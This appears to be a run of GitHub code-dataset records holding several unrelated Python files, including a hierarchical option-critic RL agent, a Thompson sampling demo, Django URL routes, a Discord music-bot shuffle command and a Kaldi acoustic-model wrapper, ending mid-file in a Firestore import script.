(state, action, target) \"\"\"\n if isinstance(obs, float) or isinstance(option, float) or isinstance(action, float):\n raise ValueError(\"Obs, options and actions should be integers or sequences of integers.\")\n \n if not isinstance(obs, int):\n obs = np.array(obs, dtype=int).reshape(-1,)\n \n if not isinstance(option, int):\n option = np.array(option, dtype=int).reshape(-1,)\n if not isinstance(action, int):\n action = np.array(action, dtype=int).reshape(-1,)\n \n if not isinstance(target, (int, float)):\n target = np.array(target).reshape(-1,)\n \n if len(obs) != len(option) or len(obs) != len(action):\n raise ValueError(\"The number of observations must equal the number of options and actions\")\n elif len(obs) != len(target):\n raise ValueError(\"The number of observations must equal the number of targets\")\n \n self.weights[obs, option, action] = target\n return target\n\n @staticmethod\n def compute_vua(\n option, # (batch_size, 1)\n next_obs_val, # (batch_size, 1)\n next_obs_option_vals, # (batch_size, num_options)\n next_obs_option_beta, # (batch_size, 1) but how to compute this? I would need beta_r(s')[option] \n ):\n option_vals = next_obs_option_vals[range(next_obs_option_vals.shape[0]), option.reshape(-1,)].reshape(-1, 1)\n value_upon_arrival = (1.-next_obs_option_beta) * option_vals + next_obs_option_beta * next_obs_val \n \n return value_upon_arrival # (batch_size, 1)\n\n def update(\n self, \n batch,\n next_obs_val, # (batch_size, 1)\n next_obs_option_vals, # (batch_size, num_options)\n next_obs_option_beta # batch_size, 1\n ):\n\n obs = batch[\"obs\"]\n option = batch[\"options\"]\n action = batch[\"actions\"]\n reward = batch[self.reward_type + \"_rewards\"]\n done = batch[\"dones\"]\n\n # One-step update target\n vua = self.compute_vua(option, next_obs_val, next_obs_option_vals, next_obs_option_beta)\n update_target = reward + (1-done) * self.discount * vua\n\n # Update values upon arrival if desired\n old_q = self.get_q_value(obs, option, action)\n new_q = old_q + self.lr * (update_target - old_q)\n self.set_q_value(obs, option, action, new_q)\n\n return update_target - old_q\n\n\nclass OptionQTable:\n def __init__(self, discount, lr, num_obs, num_options, reward_type):\n self.lr = lr\n self.discount = discount\n self.weights = np.zeros((num_obs, num_options), dtype=np.float32)\n self.reward_type = reward_type\n self.num_obs = num_obs\n self.num_options = num_options\n\n def get_q_value(self, obs, option=None):\n if isinstance(obs, float) or isinstance(option, float):\n raise ValueError(\"Obs or options given are floats, they should be integers or arrays of integers.\") \n\n if not isinstance(obs, int):\n obs = np.array(obs, dtype=int).reshape(-1,)\n \n if option is None:\n q = self.weights[obs].reshape(-1, self.num_options)\n else:\n # If it's a float array, a float, or a list or tuple.\n if not isinstance(option, int):\n option = np.array(option, dtype=int).reshape(-1,)\n\n q = self.weights[obs, option].reshape(-1, 1)\n return q\n\n def set_q_value(\n self, \n obs: Union[int, List, np.ndarray],\n option: Union[int, List, np.ndarray],\n target: Union[float, List, np.ndarray]\n ):\n \"\"\"Setting Q values. This works for single or sequences of (state, option, target) \"\"\"\n if isinstance(obs, float) or isinstance(option, float):\n raise ValueError(\"Obs and option are floats and should be integers.\") \n \n if not isinstance(obs, int):\n obs = np.array(obs, dtype=int).reshape(-1,)\n\n if not isinstance(option, int):\n option = np.array(option, dtype=int).reshape(-1,)\n \n if not isinstance(target, (int, float)):\n target = np.array(target).reshape(-1,)\n \n # Dealing with sequences\n if not isinstance(obs, int):\n if len(obs) != len(option):\n raise ValueError(\"The number of observations must equal the number of options\")\n elif len(obs) != len(target):\n raise ValueError(\"The number of observations must equal the number of targets\")\n \n self.weights[obs, option] = target\n return target\n\n \n\nclass EgreedyPolicy:\n def __init__(self, rng, critic, epsilon, option_id):\n \"\"\"Action Selecion implementation. Created to work with a Q function.\n\n Args:\n rng (np.random.Generator): _description_\n critic (QTable): (Should work with option or OptionAction Q table)\n epsilon (float): \n id (int): _Index of Corresponding Option (either meta or policy over primitives)\n \"\"\"\n self.rng = rng\n self.epsilon = epsilon\n self.critic = critic\n self.num_actions = critic.weights.shape[-1]\n self.reward_type = critic.reward_type\n self.option_id = option_id\n\n def sample(self, obs, q_vals, deterministic=False):\n \"\"\"Does not work for batches.\n\n Args:\n obs (_type_): _description_\n q_vals (np.ndarray): (batch_size, num_actions)\n deterministic (bool, optional): _description_. Defaults to False.\n\n Returns:\n _type_: _description_\n \"\"\"\n if deterministic or self.rng.uniform() > self.epsilon:\n action = self.rng.choice(np.flatnonzero(q_vals == q_vals.max(axis=-1)))\n else:\n action = self.rng.integers(0, q_vals.shape[-1])\n return action\n\n def get_prob(self, obs, q_vals, action=None):\n \"\"\"Return prob for target policy.\"\"\"\n q_max = np.max(q_vals, axis=-1).reshape(-1, 1)\n greedy_mask = (q_vals == q_max)\n out = np.zeros_like(q_vals)\n \n out[greedy_mask] = 1 # TODO:If this is used to mask as importance sampling weight, it will be wrong.\n out /= out.sum(axis=1).reshape(-1, 1)\n return out\n\nclass SoftmaxPolicy:\n def __init__(self, rng, critic, option_id, temp=1.):\n self.rng = rng\n self.critic = critic # Make sure this is the correct level of critic!\n self.temp = temp\n self.num_actions = critic.weights.shape[-1]\n self.option_id = option_id\n \n def get_prob(self, obs, option_chain, q_vals):\n q_max = q_vals.max(axis=-1).reshape(-1, 1)\n v = np.exp(q_vals - q_max)\n prob = v / v.sum(axis=-1).reshape(-1, 1)\n return np.array(prob).reshape(-1, self.num_actions)\n\n def sample(self, obs, q_vals, deterministic=False):\n prob = self.prob(obs, q_vals)\n if deterministic:\n return self.rng.choice(np.where(prob == prob.max(axis=-1)[1]))\n else:\n return self.rng.choice(self.num_actions, p=prob.squeeze())\n\nclass SigmoidTermination:\n \"\"\" \n This class implements a level-wide sigmoid termination function. \n One per level in the option hierarchy.\n \"\"\"\n def __init__(self, rng, lr, discount, level):\n self.rng = rng\n self.weights = defaultdict(float(0.5)) # Input should be (obs, option_chain[:level], option) \n self.level = level\n self.lr = lr\n self.discount = discount\n\n def get_prob(self, obs, option_chain: Tuple[int], option:int):\n \"\"\" Get the prob of termination for the given option.\n Args:\n obs (Union[int, float, np.ndarray]): Observation from environment.\n option_chain (Tuple[int]): Options currently executing.\n option (int): Option at current level, for which to query termination.\n\n Returns:\n prob (float): Probability of termination.\n \"\"\"\n if isinstance(obs, (int, float)):\n obs = np.array(obs).reshape(1, 1)\n prob = expit(self.weights[(np.rint(obs).astype(int), option_chain, option)])\n return prob\n \n def sample(self, obs, option_chain, option, training_mode=True):\n \"\"\"Query whether the option should terminate.\n\n Args:\n obs (Union[int, float, np.ndarray]): Observation from environment.\n option_chain (Tuple[int]): Options currently executing.\n option (int): Option at current level, for which to query termination.\n training_mode (bool, optional): Determines whether to sample probabilistically. Defaults to True.\n\n Returns:\n term (int): 1 if option should terminate, 0 otherwise.\n prob (float): Probability of termination.\n \"\"\"\n prob = self.get_prob(obs, option_chain, option)\n if not training_mode:\n term = int(prob > 0.5)\n else:\n term = int(self.rng.uniform() < prob)\n\n return term, prob\n \n # def get_grad(self, obs, option_chain, option):\n # t_prob = self.prob(obs)\n # grad = t_prob * (1 - t_prob)\n # return grad\n\n\nclass TabularHOCAgent:\n def __init__(self, \n num_options_per_level: Union[Tuple[int], List[int]],\n rng: np.random.Generator\n ) -> None:\n # Number of option levels in the hierarchy including root but not primitives.\n self.num_o_levels = 1 + len(num_options_per_level) \n \n # List of lists of policies. Each list is a level in the hierarchy. Each level is a list of option policies.\n self.policies_by_level = [] \n\n # One termination function per level in the hierarchy, apart from root option, which never terminates and primitives.\n self.termination_fns = [None] \n \n # One critic per level in the hierarchy including one for primitives.\n self.critics = []\n self.rng = rng\n\n def choose_options(self, obs: Union[int, float, np.ndarray], option_chain: Tuple[int], lowest_level:int) -> Tuple[int]:\n \"\"\"\n Main method for option selection. Called at each timestep to determine which option to execute. \n The method does not always change the option chain.\n Args:\n obs (Union[int, float, np.ndarray]): Raw observation from environment.\n option_chain (Tuple[int]): Options currently being executed. length should be (self.num_o_levels - 1). \n lowest_level (int): The levels above this will remain unchanged. lowest_level option and those below will be sampled.\n\n Returns:\n Tuple[int]: Next options to execute. This may be the same as the current option chain.\n \"\"\" \n if lowest_level == self.num_o_levels:\n return option_chain\n else:\n next_option_chain = list(option_chain)\n level = lowest_level\n while level < self.num_o_levels:\n policy = self.policies_by_level[level - 1]\n option = policy.sample(obs, option_chain[:level], self.training_mode) # DOes the input need to be the options from all levels above?\n next_option_chain[level] = option\n\n self.curr_option_chain = next_option_chain\n return next_option_chain\n \n def choose_action(self, obs:Union[int, float, np.ndarray], option_chain: Tuple[int]) -> int:\n return self.policies_by_level[-1][option_chain[-1]].sample(obs, option_chain[:-1], self.training_mode)\n \n def get_lowest_termination(self, obs, option_chain:Tuple[int]):\n \"\"\"Queries the termination function at each level of the hierarchy to get the probabilities of termination.\n Args:\n obs (Union[int, float, np.ndarray]): Raw observation from environment.\n option_chain (Tuple[int]): Options currently executing, for which we query terminations.\n\n Returns:\n lowest_term (int): Furthest level from primitives, in the hierarchy, where the option has just terminated.\n term_probs (Tuple[float]): Probability of termination at each level of the hierarchy. Recorded for updating.\n \"\"\"\n\n lowest_term = self.num_o_levels\n term_probs = np.zeros(self.num_o_levels, dtype=np.float32)\n\n for level in range(1, self.num_o_levels): # Skip root option\n term, term_prob = self.termination_fns[level].sample(\n obs,\n option_chain[:level],\n option_chain[level],\n self.training_mode,\n return_prob=True\n )\n term_probs.append(term_prob)\n if term:\n lowest_term = level \n \n return lowest_term, term_probs\n \n def process_transition(self, transition, term_probs):\n pass\n\n def update_critics(self, transition, term_probs):\n pass\n\n def update_policies(self, transition, term_probs):\n pass\n \n def update_terminations(self, transition, term_probs):\n pass\n","repo_name":"akshilpatel/hoc","sub_path":"hoc/agent/hoc.py","file_name":"hoc.py","file_ext":"py","file_size_in_byte":18414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4221385881","text":"# -*- coding: utf-8 -*-\r\n\r\n############################################################### Import Libraries\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport random\r\n\r\n\r\n############################################################# Setting Parameters\r\n\r\nN = 10000 ## total number of rounds (customers connecting to website)\r\nd = 9 ## number of strategies\r\n\r\n\r\n############################################################ Creating Simulation\r\n\r\nconversion_rates = [0.05, 0.13, 0.09, 0.16, 0.11, 0.04, 0.20, 0.08, 0.01] ## 9 strategies and conversion rates unknown to AI\r\nX = np.array(np.zeros([N,d])) ## initiate array of 10000 rows and 9 columns with zeros \r\n\r\n\r\n## Update succesfull plan with \"1\"\r\nfor i in range(N):\r\n for j in range(d): ## Bernoulli distribution\r\n if np.random.rand() <= conversion_rates[j]:\r\n X[i,j] = 1\r\n \r\n \r\n############################### Implementing Random Strategy vs Thomson Sampling\r\n\r\n## For each strategy i take a random draw from the following distribution\r\n\r\nstrategies_selected_rs = []\r\nstrategies_selected_ts = []\r\ntotal_reward_rs = 0\r\ntotal_reward_ts = 0\r\nnumbers_of_rewards_1 = [0] * d\r\nnumbers_of_rewards_0 = [0] * d\r\n\r\nfor n in range(0, N): ## for each round\r\n # Random Strategy\r\n strategy_rs = random.randrange(d) ## select random 0-8 strategy\r\n strategies_selected_rs.append(strategy_rs) ## append to list of random strategies\r\n reward_rs = X[n, strategy_rs] ## compare selected action with \"real life simulation\" X and get assigned reward\r\n total_reward_rs += reward_rs ## get total reward\r\n \r\n # Thomson Sampling\r\n strategy_ts = 0\r\n max_random = 0\r\n for i in range(0, d): ## for each strategy\r\n ## compare how many times till now that strategy recieved 1 or 0 to get the Random Draw\r\n random_beta = random.betavariate(numbers_of_rewards_1[i] +1, numbers_of_rewards_0[i] +1)\r\n # update random beta for each strategy\r\n if random_beta > max_random: \r\n max_random = random_beta\r\n strategy_ts = i \r\n \r\n reward_ts = X[n, strategy_ts] ## compare selected action with \"real life simulation\" X and get assigned reward \r\n # update number of rewards\r\n if reward_ts == 1:\r\n numbers_of_rewards_1[strategy_ts] += 1\r\n else:\r\n numbers_of_rewards_0[strategy_ts] += 1\r\n ## append to list of ts strategies \r\n strategies_selected_ts.append(strategy_ts)\r\n ## accumulate total ts rewards\r\n total_reward_ts += reward_ts\r\n \r\n \r\n####################################### Compute the Absolute and Relative Return \r\n \r\nabsolute_return = (total_reward_ts - total_reward_rs)*100 ## each customer converion = 100 USD\r\nrelative_return = (total_reward_ts - total_reward_rs) / total_reward_rs * 100\r\n \r\nprint(\"Absolute Return: {:.0f} $\".format(absolute_return)) \r\nprint(\"Relative Return: {:.0f} %\".format(relative_return)) \r\n \r\n \r\n \r\n########################################### Plotting the Histogram of Selections\r\n\r\nplt.hist(strategies_selected_ts) \r\nplt.title(\"Histogram of Selections\")\r\nplt.xlabel('Strategy')\r\nplt.ylabel('Number of times the strategy was aselected')\r\nplt.show()\r\n \r\n \r\n","repo_name":"LukaszMalucha/AI-Concepts","sub_path":"thomson_sampling/thomson_sampling.py","file_name":"thomson_sampling.py","file_ext":"py","file_size_in_byte":3480,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"39592346454","text":"from pyAudioAnalysis import audioSegmentation\nimport scipy.io.wavfile as wav\nimport uuid\nimport os\n\nfilename = \"../audio/myrec.wav\"\n(rate, sig) = wav.read(filename)\n\n# Machine Learning algorithm which provided by pyAudioAnalysis\nsegments = audioSegmentation.silence_removal(sig, rate, 0.020, 0.020, smooth_window=0.5, weight=0.5)\n\n# Get true segmentations of recorded audio file\ntrue_segments = []\nfor i in range(len(segments)):\n if segments[i][1] - segments[i][0] > 5:\n start = int(segments[i][0] * rate)\n end = int(segments[i][1] * rate)\n true_segments.append([start, end])\n\n# Output the segmentation as .wav file\nfilePath = str(uuid.uuid1())\nos.mkdir('../audio/' + filePath)\nfor j in range(len(true_segments)):\n per_segmentation = sig[true_segments[j][0]: true_segments[j][1]]\n wav.write('../audio/' + filePath + '/segmentation' + str(j) + '.wav', rate, per_segmentation)","repo_name":"Teiyui/AudioProject","sub_path":"project/audible_part_segmentation.py","file_name":"audible_part_segmentation.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26528525612","text":"from django.conf import settings\nfrom django.conf.urls import url\nfrom django.conf.urls.static import static\nfrom django.conf.urls import url\n\n# from main_site.views.view_feedback import FeedbackCreateView, FeedbackListView, FeedbackDetailView\nfrom main_site.views.view_feedback import FeedbackCreateView, FeedbackListView, FeedbackDetailView\nfrom main_site.views.view_maintenences import MaintenanceCreateView, MaintenanceDetailView, MaintenanceEndView, \\\n MaintenanceListView, MaintenanceUpdateView\nfrom main_site.views.view_schedules import ScheduleDetailView, ScheduleUpdateView\nfrom main_site.views.views import UserHomeView, LoginView, LogoutView, StaffHomeView, FareCalculatorView, PlayTripView, \\\n PlayView\nfrom main_site.views.view_announcements import AnnouncementCreateView, AnnouncementUpdateView, AnnouncementListView, \\\n AnnouncementDeleteView, AnnouncementDetailView\nfrom main_site.views.view_bills import BillDetailView, BillCreateView\nfrom main_site.views.view_drivers import DriverCreateView, DriverDetailView, DriverUpdateView, DriverDeleteView, \\\n DriverListView\nfrom main_site.views.view_requests import RequestDetailView, RequestListView, MyRequestsView, RequestCreateView, RequestCancelView\nfrom main_site.views.view_trips import TripCreateView, TripDetailView, TripCancelView, TripListView, UserTripListView\nfrom main_site.views.view_vehicles import VehicleCreateView, VehicleDetailView, VehicleUpdateView, VehicleDeleteView, \\\n VehicleListView\n\nurlpatterns=[\n url(r'^$', UserHomeView.as_view(), name='user-home'),\n url(r'^login',LoginView.as_view(),name='login'),\n url(r'^logout', LogoutView.as_view(), name='logout'),\n\n url(r'^staff$', StaffHomeView.as_view(),name='staff-home'),\n\n url(r'^requests/new', RequestCreateView.as_view(), name='new-request'),\n url(r'^requests/(?P\\d+)$', RequestDetailView.as_view(), name='view-request'),\n url(r'^requests/(?P\\d+)/cancel$', RequestCancelView.as_view(), name='cancel-request'),\n url(r'^requests[/]$', RequestListView.as_view(), name='list-requests'),\n url(r'^myrequests[/]$',MyRequestsView.as_view(),name='my-requests'),\n\n url(r'^drivers/new[/]$', DriverCreateView.as_view(), name='new-driver'),\n url(r'^drivers/(?P\\d+)$', DriverDetailView.as_view(), name='view-driver'),\n url(r'^drivers/(?P\\d+)/edit[/]$', DriverUpdateView.as_view(), name='update-driver'),\n url(r'^drivers/(?P\\d+)/delete[/]$', DriverDeleteView.as_view(), name='delete-driver'),\n url(r'^drivers[/]$', DriverListView.as_view(), name='list-drivers'),\n\n url(r'^vehicles/new$', VehicleCreateView.as_view(), name='new-vehicle'),\n url(r'^vehicles/(?P\\d+)$', VehicleDetailView.as_view(), name='view-vehicle'),\n url(r'^vehicles/(?P\\d+)/edit$', VehicleUpdateView.as_view(), name='update-vehicle'),\n url(r'^vehicles/(?P\\d+)/delete$', VehicleDeleteView.as_view(), name='delete-vehicle'),\n url(r'^vehicles', VehicleListView.as_view(), name='list-vehicles'),\n\n url(r'^requests/(?P\\d+)/trips/new', TripCreateView.as_view(), name='new-trip'),\n url(r'^trips/(?P\\d+)$', TripDetailView.as_view(), name='view-trip'),\n url(r'^trips/(?P\\d+)/cancel$', TripCancelView.as_view(), name='cancel-trip'),\n url(r'^requests/(?P\\d+)/trips', TripListView.as_view(), name='list-trips'),\n url(r'^myrequests/(?P\\d+)/trips', UserTripListView.as_view(), name='list-user-trips'),\n\n url(r'^requests/(?P\\d+)/billing$', BillCreateView.as_view(), name='new-bill'),\n url(r'^requests/(?P\\d+)/bill$', BillDetailView.as_view(), name='view-bill'),\n\n url(r'^announcements/new$', AnnouncementCreateView.as_view(), name='new-announcement'),\n url(r'^announcements/(?P\\d+)$', AnnouncementDetailView.as_view(), name='view-announcement'),\n url(r'^announcements/(?P\\d+)/edit$', AnnouncementUpdateView.as_view(), name='update-announcement'),\n url(r'^announcements/(?P\\d+)/delete$', AnnouncementDeleteView.as_view(), name='delete-announcement'),\n url(r'^announcements/$', AnnouncementListView.as_view(), name='list-announcements'),\n\n url(r'^maintenances/new$', MaintenanceCreateView.as_view(), name='new-maintenance'),\n url(r'^maintenances[/]$', MaintenanceListView.as_view(), name='list-maintenances'),\n url(r'^maintenances/(?P\\d+)$', MaintenanceDetailView.as_view(), name='view-maintenance'),\n url(r'^maintenances/(?P\\d+)/end$', MaintenanceEndView.as_view(), name='end-maintenance'),\n url(r'^maintenances/(?P\\d+)/update$', MaintenanceUpdateView.as_view(), name='update-maintenance'),\n\n url(r'^schedule[/]$', ScheduleDetailView.as_view(), name='view-schedule'),\n url(r'^schedule/update[/]$', ScheduleUpdateView.as_view(), name='update-schedule'),\n\n url(r'^fare_calculator[/]$', FareCalculatorView.as_view(), name='fare-calculator'),\n\n\n url(r'^feedbacks/new$', FeedbackCreateView.as_view(), name='new-feedback'),\n url(r'^feedbacks[/]$', FeedbackListView.as_view(), name='list-feedbacks'),\n url(r'^feedbacks/(?P\\d+)$', FeedbackDetailView.as_view(), name='view-feedback'),\n\n #playing trips\n url(r'^play_trips$', PlayTripView.as_view(), name='play-trips'),\n url(r'^play/(?P\\w+).mp3$', PlayView.as_view(), name='play'),\n\n]\n\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"myashok/transportSystem","sub_path":"main_site/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":5343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14268804965","text":"# Example 5-25. Demo of methodcaller: second test shows the binding of extra arguments\n\nfrom operator import methodcaller\n\ns = 'The time has come'\nupcase = methodcaller('upper')\n\nprint(upcase(s))\n\nhiphenate = methodcaller('replace', ' ', '-')\n\nprint(hiphenate(s))","repo_name":"rajeevdodda/Python-Practice","sub_path":"FluentPython/Chapter 5/Example25.py","file_name":"Example25.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40198110309","text":"import random\n\nfrom SQL import musicqueue, loops, skipped\nfrom Music import playvideo\n\n\nasync def shuffle(ctx, type):\n serverid = ctx.guild.id\n voice_state = ctx.author.voice\n replacement = []\n musiclist = await musicqueue.read(serverid)\n song = await loops.read(\"song\", serverid)\n queue = await loops.read(\"queue\", serverid)\n length = len(musiclist)\n if len(musiclist) > 1:\n number = random.randrange(0, (len(musiclist) - 1))\n else:\n number = 0\n if ctx.voice_client:\n if voice_state and ctx.author.voice.channel == ctx.voice_client.channel:\n if queue == 1:\n if type == 'normal':\n await ctx.reply(\"You can't shuffle when the queue is looped.\")\n elif type == 'slash':\n await ctx.respond(\"You can't shuffle when the queue is looped.\")\n elif song == 1:\n if type == 'normal':\n await ctx.reply(\"You can't shuffle when a song is looped.\")\n elif type == 'slash':\n await ctx.respond(\"You can't shuffle when a song is looped.\")\n else:\n ctx.voice_client.stop()\n for i in range(length):\n replacement.append({\"url\": musiclist[number][\"url\"], \"title\": musiclist[number][\"title\"], \"duration\": musiclist[number][\"duration\"], \"time\": musiclist[number][\"time\"]})\n del musiclist[number]\n if length > 1:\n length -= 1\n number = random.randrange(0, length)\n else:\n number = 0\n await musicqueue.empty(serverid)\n for i in range(len(replacement)):\n await musicqueue.write(replacement[i][\"url\"], replacement[i][\"title\"], replacement[i][\"duration\"], serverid)\n if type == 'normal':\n await ctx.reply('Queue has been shuffled.')\n elif type == 'slash':\n await ctx.respond('Queue has been shuffled.')\n await skipped.update(1, serverid)\n await playvideo.playvideo(ctx)\n elif voice_state is None:\n if type == 'normal':\n await ctx.reply(str(ctx.author.name) + \" is not in a channel.\")\n elif type == 'slash':\n await ctx.respond(str(ctx.author.name) + \" is not in a channel.\")\n else:\n if type == 'normal':\n await ctx.reply(str(ctx.author.name) + \" is not in the same channel.\")\n elif type == 'slash':\n await ctx.respond(str(ctx.author.name) + \" is not in the same channel.\")\n else:\n if type == 'normal':\n await ctx.reply('Bot is not connected to a voice channel')\n elif type == 'slash':\n await ctx.respond('Bot is not connected to a voice channel')","repo_name":"YorbenJoosen/Gerbinbot_3000","sub_path":"Music/shuffle.py","file_name":"shuffle.py","file_ext":"py","file_size_in_byte":2912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73631589264","text":"#Devasvi\nimport time \n\ndef countdown(t):\n \n while t:\n mins, secs = divmod(t, 60)\n timer = '{:02d}:{:02d}'.format(mins, secs)\n print(timer, end=\"\\r\")\n time.sleep(1)\n t -= 1\n \n print('Timer end')\n \nprint(\"Enter S to set\",\"Enter P to pause and resume\")\nprint(\"gy\")\nt = input(\"Enter the time in seconds: \")\ncountdown(int(t))\n","repo_name":"DevasviZ/Assignment_1","sub_path":"Minor_Project.py","file_name":"Minor_Project.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19376705935","text":"import os\n\nimport abkhazia.utils as utils\nfrom abkhazia.acoustic.abstract_acoustic_model import (\n AbstractAcousticModel)\nimport abkhazia.kaldi as kaldi\n\n\nclass TriphoneSpeakerAdaptive(AbstractAcousticModel):\n \"\"\"Wrapper on Kaldi egs/wsj/s5/steps/{align_fmllr, train_sat}.sh\n\n The parameter `tri-dir` is the path to the computed triphone\n speaker independent acoustic model. It must contains the files\n 'ali.1.gz' and 'final.mdl', else an OSError is raised.\n\n Other parameters are the same as in AbstractAcousticModel.\n\n The following options are not forwarded from Kaldi to Abkhazia:\n train_tree=true, tree_stats_opts, context_opts, power,\n cluster_thresh, cluster_phones_opts, phone_map,\n compile_questions_opts.\n\n \"\"\"\n model_type = 'tri-sa'\n\n options = {k: v for k, v in (\n kaldi.options.make_option(\n 'transition-scale', default=1.0, type=float,\n help='Transition-probability scale (relative to acoustics)'),\n kaldi.options.make_option(\n 'self-loop-scale', default=0.1, type=float,\n help=('Scale of self-loop versus non-self-loop log probs '\n '(relative to acoustics)')),\n kaldi.options.make_option(\n 'acoustic-scale', default=0.1, type=float,\n help='Scaling factor for acoustic likelihoods'),\n kaldi.options.make_option(\n 'beam', default=10, type=int,\n help='Decoding beam used in alignment'),\n kaldi.options.make_option(\n 'retry-beam', default=40, type=int,\n help='Decoding beam for second try at alignment'),\n kaldi.options.make_option(\n 'careful', default=False, type=bool,\n help=('If true, do careful alignment, which is better at '\n 'detecting alignment failure (involves loop to start '\n 'of decoding graph)')),\n kaldi.options.make_option(\n 'boost-silence', default=1.0, type=float,\n help=('Factor by which to boost silence likelihoods '\n 'in alignment')),\n kaldi.options.make_option(\n 'fmllr-update-type', default='full', type=str,\n help='Update type for FMLLR (full|diag|offset|none)'),\n kaldi.options.make_option(\n 'realign-iterations', type=list, default=[10, 20, 30],\n help='Iterations on which to align features on the model'),\n kaldi.options.make_option(\n 'fmllr-iterations', type=list, default=[2, 4, 6, 12],\n help='Iterations on which to align features on the model'),\n kaldi.options.make_option(\n 'num-iterations', default=35, type=int,\n help='Number of iterations for training'),\n kaldi.options.make_option(\n 'max-iteration-increase', default=25, type=int,\n help='Last iteration to increase number of Gaussians on'),\n kaldi.options.make_option(\n 'silence-weight', default=0.0, type=float,\n help='Weight on silence in fMLLR estimation'),\n kaldi.options.make_option(\n 'num-leaves', default=2500, type=int,\n help='Maximum number of leaves to be used in tree-buliding'),\n kaldi.options.make_option(\n 'total-gaussians', default=15000, type=int,\n help='Target number of Gaussians at the end of training'),\n )}\n\n def __init__(self, corpus, feats_dir, tri_dir,\n output_dir, lang_args, log=utils.logger.null_logger()):\n super(TriphoneSpeakerAdaptive, self).__init__(\n corpus, feats_dir, output_dir, lang_args, log=log)\n\n self.tri_dir = os.path.abspath(tri_dir)\n utils.check_directory(\n self.tri_dir, ['final.mdl', 'ali.1.gz'])\n\n def run(self):\n align_dir = os.path.join(self.recipe_dir, 'exp', 'tri_ali_fmllr')\n self._align_fmllr(align_dir)\n self._train_sat(align_dir)\n\n def _align_fmllr(self, align_dir):\n \"\"\"Wrapper on steps/align_fmllr.sh\n\n Computes training alignments; assumes features are (LDA+MLLT\n or delta+delta-delta) + fMLLR (probably with SAT models). It\n first computes an alignment with the final.alimdl (or the\n final.mdl if final.alimdl is not present), then does 2\n iterations of fMLLR estimation.\n\n \"\"\"\n message = 'forced-aligning triphone model'\n\n command = (\n 'steps/align_fmllr.sh --nj {njobs} --cmd \"{cmd}\" '\n '--scale-opts \"--transition-scale={transition} '\n '--acoustic-scale={acoustic} --self-loop-scale={selfloop}\" '\n '--beam {beam} --retry-beam {retrybeam} '\n '--careful {careful} --boost-silence {boost} '\n '--fmllr-update-type {fmllr} '\n '{data} {lang} {origin} {target}'\n .format(\n njobs=self.njobs,\n cmd=utils.config.get('kaldi', 'train-cmd'),\n transition=self._opt('transition-scale'),\n acoustic=self._opt('acoustic-scale'),\n selfloop=self._opt('self-loop-scale'),\n beam=self._opt('beam'),\n retrybeam=self._opt('retry-beam'),\n careful=self._opt('careful'),\n boost=self._opt('boost-silence'),\n fmllr=self._opt('fmllr-update-type'),\n data=self.data_dir,\n lang=self.lang_dir,\n origin=self.tri_dir,\n target=align_dir))\n self._run_am_command(command, align_dir, message)\n\n def _train_sat(self, ali_dir):\n \"\"\"Wrapper on steps/train_sat.shallow\n\n This does Speaker Adapted Training (SAT), i.e. train on\n fMLLR-adapted features. It can be done on top of either\n LDA+MLLT, or delta and delta-delta features. If there are no\n transforms supplied in the alignment directory, it will\n estimate transforms itself before building the tree (and in\n any case, it estimates transforms a number of times during\n training).\n\n \"\"\"\n message = 'training speaker-adaptive triphone model'\n target = os.path.join(self.recipe_dir, 'exp', self.model_type)\n\n if not os.path.isdir(ali_dir):\n raise RuntimeError(\n 'unexisting directory: {}, please provide alignments '\n 'using align_fmllr'.format(ali_dir))\n\n command = (\n 'steps/train_sat.sh --cmd \"{cmd}\" '\n '--scale-opts \"--transition-scale={transition} '\n '--acoustic-scale={acoustic} --self-loop-scale={selfloop}\" '\n '--realign-iters {realign} --num-iters {niters} '\n '--careful {careful} --boost-silence {boost} '\n '--fmllr-update-type {fmllr} --silence-weight {silence} '\n '--fmllr-iters {fmllriters} '\n '--max-iter-inc {maxiter} --beam {beam} --retry-beam {retrybeam} '\n '{numleaves} {totgauss} {data} {lang} {origin} {target}'\n .format(\n cmd=utils.config.get('kaldi', 'train-cmd'),\n transition=self._opt('transition-scale'),\n acoustic=self._opt('acoustic-scale'),\n selfloop=self._opt('self-loop-scale'),\n beam=self._opt('beam'),\n retrybeam=self._opt('retry-beam'),\n careful=self._opt('careful'),\n boost=self._opt('boost-silence'),\n maxiter=self._opt('max-iteration-increase'),\n realign=self._opt('realign-iterations'),\n niters=self._opt('num-iterations'),\n numleaves=self._opt('num-leaves'),\n totgauss=self._opt('total-gaussians'),\n fmllr=self._opt('fmllr-update-type'),\n silence=self._opt('silence-weight'),\n fmllriters=self._opt('fmllr-iterations'),\n data=self.data_dir,\n lang=self.lang_dir,\n origin=ali_dir,\n target=target))\n self._run_am_command(command, target, message)\n","repo_name":"bootphon/abkhazia","sub_path":"abkhazia/acoustic/triphone_speaker_adaptive.py","file_name":"triphone_speaker_adaptive.py","file_ext":"py","file_size_in_byte":8005,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"48"} +{"seq_id":"22974788067","text":"import json\r\nimport sys\r\nimport os\r\nimport firebase_admin\r\n\r\nfrom firebase_admin import credentials\r\nfrom firebase_admin import firestore\r\n\r\nservice_key = \"yourservicekey.json\"\r\n\r\ndef importData(directory):\r\n\ttry:\r\n\t\tcred_obj = credentials.Certificate(service_key)\r\n\t\tfirebase_admin.initialize_app(cred_obj)\r\n\r\n\t\tdb = firestore.client()\r\n\r\n\t\tfor filename in os.listdir(directory):\r\n\t\t\tfile = os.path.join(directory,filename)\r\n\t\t\tif 